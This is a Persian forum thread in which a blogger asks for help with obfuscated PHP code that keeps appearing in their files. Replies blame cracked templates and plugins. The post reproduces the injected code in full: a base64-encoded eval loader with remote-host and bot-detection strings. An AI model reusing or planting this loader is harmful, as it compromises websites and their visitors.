کد عجیب

[kingblog 14]

سلام

دوستان یه کد عجیب است که خود به خود به اول کدهای یک فایل پی اچ پی اضافه میشه و همه چیز رو به هم میریزه قبلا یه بار اینجوری شده بود که مجبور شدم همه فایلهای پی اچ پی رو جایگزین کنم الان هم دوباره اول برخی فایل های پی اچ پی اضافه میشه

اینم کدش:

<?php /*versio:3.02*/ $GLOBALS["droxyl"]="JNyaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuwCrBZGlzcGxheV9lcnJvcnMdZmVkb3IvcmVzdG9yZV9hZgacUMy4wMghuDdGhhaDFOaWV0aGFpMnphaDZBaHIzoAUHaHR0cDovLwcUPqtSFRUUFMb2ZmDRaHR0cHM6Ly8ySFRUUF9IT1NUKKmdW5pb24xDXvDwbNBc2VsZWN0fsUkVRVUVTVF9VUkkU0NSSVBUX05BTUUUVVFUllfU1RSSU5HYTbOEKPwejQxZGV0ZXJtaW5hdG9yDWrLgeKyIKFLmxvZwzSFRUUF9ZX0FVVEgkieYmFzZTY0X2RlY29kZQOvJdmVyc2lviMQZLQvbwrcLXBocAhlpbKXSFRUUF9FWEVDUEhQxkEwuNb3V0aLb2seSFRUUF9VU0VSX0FHRU5ULAtCxZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxVfSYQePLYmxhYnVlbC5uZXQKXeZmFzdGFkZHouY29tvWPCL3czLnBocD91PQRusiJms9sfSXJnQ9cGhwJnA9JnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYzdHZvdG9XL3lxN3hFd3dNQWdvb3RQTGpjMGM1MDZUT1czajJKT2N6R2tJd3FaU2VjbEx0T2wzdjJzL0VHeDFjdjRTMTlwN3ZkZHZyUjM0U0x6eXNCL0UyQk1GRHhjNGk0TFlLWkpNNlBkZlVRQnN2NHpkSWtoaUc5ZEJYdVRpRm9lQnYzSlRVWldHc3FiMnlibFpFQWQyam91V09aUTBWZGJWdm95MC92VVpQbHcyWlcwS2ZCWDRiNmpSZ3V5WEVEdXJ3NkV1Vmw0czluRGs1VzR1bzArOW9zelR6UnBaNk83eHg0OCtla1V0SlFyY0xDbUNDSXRGVm1LUWwrR2l6R0xrNDhSdlJMelQ0a1RlM3ZlZTh6Qnp0bUt2VHNzd3JHVFVpL3pVZDU3Qm8xNjBkb3UwQU9HQ1cyYWhjSTE2KzFXMUtuWkE0VHhGc01HdEFsZ2tUTlRGWjNCUmNNSXcyZGx3eWZhVEZNZENIMWtnUlJPSXpkeXdtUitFbUp5MjNTUXVjQXhoRmRaRmtYNFpEQVNrSUc0UCtXSUdLVWo0dExQOFoxZWdidUF3eCtkU3cwM3NVL3NQYnZtU2c3VXpUaFhoYW0rRGd5VEpUM3lBdENRcDhhTG5iZU00ZGs2WXVNWXVzR2I4b3NqRnl1anI0K0xIL2NQU2hoOFovUXZiM1pLWWZsbk85L25OSC9PRmpId0hmUHZ0eWNWOCtiaTRXeTV1N241K0l6ZDR5aTlmK0hwL2R6Zi91bHplL2ptL2YxekthRXdDc1FxTEtIcW00V0Z1Ti9lSUtKSngydzJUSEhlb0pPQTRTb3U5eUM5RG1Gc3hnbkQ5MW1TWFU1dE1rVkpsTlVqVStYbmlia2hkdEZVM1VhSHl0c242c1BGbEdyOXFEeDhHMTluVUx4R3oyU1UxOXBnNmROb1JZTGFmbHFRSW1wWVIvamRmb2xlZWhUZEJJV25JTitqN2N2a3cwQlFWQ1A5ay84VHc4ejNKaXk4SVBsNjVTVytVUWNLVWxmRytURURGdy9jSCsvNm5JZ3dFaFh6K05WLzh2TDIvTzZQME1jZlo1NXRucU9rdm9KemRwL0lhbWJzMTFMNTRkYUhQdVZOOTlPa1RFdC8xTmZyY3N2K0Q5SDRiRUlVRUZ0cXBZNGltVDJpdnpIeWV5Q01NOU9wTkdhUTFPSVhyTkV3OExBcEgrK1JHSkp3clk0SlkvUFF2OWFuRmxTQTZjNCtkb3pyZlRxREdUYjJpMnI2azRjSEp4SjdyMTFYcHdQa0VKM3NYZ3hQWVhTZEkrTnNXRk01VWhDL3d6Zmc4U2FmZ2xWWk9Wbm1GVjIwUEc3RzMzbTdxbWdocXdLVm4vNXd2SUVPL09PdUozTzVWL3JhTWF1dUl3SVlwQVVMckpDQkJtSUd5bGpWU3BaRXUwejRKL04waGRGcVdOcFRNaWF5Yk5JNjBXRG84U2ROMU1oSlk0UVk1alY5alRIdE1oK0ZneUdiL3FSa3hzek9ITkZQU05YSUlYVm5vU0I2UEpYTXFqeWpDdlZjL0dzUE1NV1JONHpuZ0J4UXJMN0lpQVV6RzJWbE4ra2dhVG1WTjc1TU0rMG1HSFhjTmJXZVQ5bkZ5eEpOaS9iZk5HTEVaaEtZRWJSaFJic1daQnN4Rms0eEZLdUlYdi8vVWphRXFqVlVaNHRSQytTVng1bFRTSUZpVDM4bURvSUFUVE40YkdDZGVYUXE5S3VucVNOWU1FbnFDSng4T21KREQ0WkNlb05qNE1Wb1RVeHJxOUFESjhzVWs2NW9oYVJEVjhVVlZtcUZLQmpPRzlHOG5nQ05wb3N0NkgwYklPUU9tSTJta1VzSFg3eG90VGRKVnRVbjNkVlVmUkZJaC9yN0NtOUR5Z2l4MkFFUnMrOXZ0ajdsdDk1VS9iaGN3RWU0WGY0UDRoNXZGRFh4Q1BhZTQydGNIOFBzbXk1eTlpSVNCaDZ0QnZvNmd2WVZCRWFVRHhZZHgvYm1NZzdvbDNYNmRONVRXWEdINTU0UHdkRXFaSDBuenU3KzZKNXEvWU5VSmhWK2dlb2owNDRaUkF2dzRuZzFrRzN3VFlJbmlyaW9DTzNyOHUwcy84dzFqd0M3bEY3Z3VGRDBHM2trTDhJQ1FKa2hXbTJ4ZDhOcS80bk9RRTBtbzJhZGluWTBzMjQ5eWU1Y0ZoYk1DOU8vZVpNYVFyWU1ScjlFSzlHOGFIRzFtS2p0MlRRdWN0a3ZZamxBeURnQjJYaEhiWk1VT2lnRFVqR2daTm90bTAzQzlvS3dTSEZzTlNwd3J0YlpDaWFHSHZFNTJrVFdMUEtOUnJQQ3h5QkZVNFhCSndIRzNyc3VWYTcwclNxVURsanJNZmIydmNMblhINHpYUWIybU05dTVPSXJJNlhPUzcwbThHSzBWcVVOdk10aStBS3BENEJ0VDZwQmxjYjNFc3pSY1IwWGFBc3BRMDBHUVJnWW9HMDU4QnAyT3N1UHhLU0RDR0NCS2JpWkp4OHN4K0RBeHFaOXNBTFc4NFhCSUlIN2NieGFkS25aeHVyYTRPZWNjMEtlcVpJNDVxc0N6QTFkTzJOejdsOFlPSjlMUVVHR0V5QzNrVEdBQ3dITmwyR2NWVWdlRnlJcWx0L0pmRGdleWNIMGpleWxFUDR5Y29DZ0pOdjUrcXVnbVZKNXVrQ2ZReVZocFZvNU9rVTBrZlV3cW9XT1FEaUdkam1RREJoM3R2a081amVMTnU4bkRUSkdQM0N2TG9sYlN2YWdxNHkzYk45bXUrYUZXSVBqR1dCNmZhSjFBVWFyRUZGSm44U3JjMXVRMU1DdEpyN25FNm5PT3FyUldET3JtekNjdER2M045TU55VHBhM1Bpd3hCV3cwekU3K2g0bUhQM1FwUEc1cDdDTGQwR25vclNWc2ZpZVEwSUFKZVVJMWZ0RmlLSkxTWFl0dHB3QmV1bUhwWVR1Qit1alFPeGpRcEJjZWFFUVA3WVdYdUU1ZWprT2dIYkprSnhvVFJ6c1JHMDVneXJFeDEzVGRxUlZFSWdlYVRoZzVpWGpKdG5QVW5YK3FLWTAwZUJ5UG9HZll3VTdhZEEyYVRaTkhSOXhvZVNOaktFMU5zc2g4N0xVeERNM3BoRjVqTFVwMisxV3c4Y2g3OXQxam1FVUFGdDcyUFh6OU1ib01uZm43NWoxMGpVMFkvZ2FETHI2Ty9SL0lEVE5EIikpKTsV";	    if (!function_exists('qelifbcp')){function qelifbcp($a, ${$c=$GLOBALS['droxyl'];$d=pack('H*','6261736'.'536345f6465636f6465'); return $d(substr($c, $a, $);};eval(qelifbcp(566,3283));};?>

چه جور ویروسیه و چجوری وارد میشه و چه باید کرد؟

[imanfakhar 26231]

قالبتون رایگانه؟

[kingblog 14]

بله از قالب کلیشه استفاده میکنم

البته این کد رو بیشتر توی قسمتهای دیگه میبینم مثلا کدهایی که بعنوان ابزار توی یه پوشه دیگه هاستم قرار دادم یا وقتی یه اسکریپت نصب کردم(که مثلا یه اسکریپت نصب میکنم و بعد از مدتی میبینم اید کد اضافه شده و اون فایل رو از کار میندازه)

بعضی از افزونه هام نیز این مشکل رو پیدا کردن

ویرایش شده اردیبهشت 93 توسط kingblog

[imanfakhar 26231]

این نوع کدها معمولا از یک اسکریپت یا افزونه یا قالب غیر رایگان که کرک شده و رایگان عرضه می شند کپی می شند و وظایف زیادی می تونند داشته باشند که همشون مخربند اول باید فایل کرک شده را پیدا کنید و از سیستمتون حذفش کنید و بعد کدها را یکی یکی حذف کنید

[kingblog 14]

ممنون

در مورد فایل کرک شده کامل تر توضیح بدید یعنی توی قالبم باید دنبال چه فایلی بگردم؟ یا دنبال چه کدی؟

این لینک رو هم خوندم نمیدونم دقیقا باید چیکار کنم

http://stackoverflow.com/questions/19328508/how-do-i-determine-what-this-code-does-and-if-it-might-be-malicious

ویرایش شده اردیبهشت 93 توسط kingblog

[kingblog 14]

برای اینکه دوباره این کد وارد فایلهام نشه بهتره چیکار کنم؟

قالب پولی باشه؟ نیاز به افزونه هست؟ ...

[علیرضا 262]

باسلام

هم می توانید قالب پولی استفاده کنید و هم اینکه از قالب های معتبر استفاده کنید

بهترین قالب های پارسی تو اینجا قرار دارند :

ماندگار وب